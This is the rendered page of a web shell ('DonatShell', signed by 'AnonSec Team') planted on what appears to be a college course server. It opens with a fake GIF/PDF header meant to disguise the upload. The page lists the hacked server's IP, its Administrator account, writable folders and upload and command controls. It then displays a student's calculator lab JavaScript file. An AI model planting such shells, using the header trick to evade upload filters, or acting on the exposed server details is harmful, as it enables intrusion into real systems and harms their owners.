GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1022/Resources/Week/05/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1022/Resources/Week/05/Lab02.js
"use strict";
// replace_with_your_name - Lab 2 js file.

let operationClicked = '';				// The operation that was clicked.
let previousAreaClicked = '';			// The previous area that was clicked.
let currentNumberEntered = '';		// The current number entered.
let previousNumberEntered = '0';	// The previous number entered.
let calculatorOn = false;					// Remember if the calculator is on or off.

function _Initialize() {
	turnCalculatorOnOff(false);
}

/**
 * Perform the calculator button function.
 *
 * @param {object} e - The area that was clicked on.
 * @return (false) Stops the area href from being opened.
 */
function areaClicked(e) {
  let btnClicked = e.title;
  console.log(`btnClicked = ${btnClicked}`);
	if (calculatorOn) {
		switch (btnClicked) {
			case '1':
			case '5':
				previousAreaClicked = btnClicked;
				addKeyToCurrentNumberEntered(btnClicked);
				setDisplay(currentNumberEntered);
				break;
				case '=':
					console.log(`previousNumberEntered = ${previousNumberEntered}`);
					console.log(`operationClicked = ${operationClicked}`);
					console.log(`currentNumberEntered = ${currentNumberEntered}`);
					break;
				case '+':
				operationClicked = btnClicked;
				previousNumberEntered = currentNumberEntered;
				currentNumberEntered = '0';
				setDisplay(btnClicked);
				break;
			case 'on':
				if (calculatorOn) {
					turnCalculatorOnOff(false);	// Turn off the calculator.
				}
				break;
			default:
				console.log(`${btnClicked} not programmed.`);
		}
	} else {
		if ( btnClicked === 'on' ) {
			turnCalculatorOnOff(true);	// Turn on the calculator.
		}
	}
  return false;
} // END areaClicked.

function turnCalculatorOnOff(onOff) {
	calculatorOn = onOff;
	previousAreaClicked = '';
	currentNumberEntered = '0';
	previousNumberEntered = '';
	if (calculatorOn) {
		document.getElementById('calculatorDisplay').style.backgroundColor = 'silver';
	} else {
		document.getElementById('calculatorDisplay').style.backgroundColor = 'black';
	}
	setDisplay(currentNumberEntered);
}

function addKeyToCurrentNumberEntered(numberClicked) {
	if (+currentNumberEntered) {
		currentNumberEntered += numberClicked;
	} else {
		currentNumberEntered = numberClicked;
	}
}

function setDisplay(displayValue) {
	document.getElementById('calculatorDisplay').innerText = displayValue;
}


Anon7 - 2022
AnonSec Team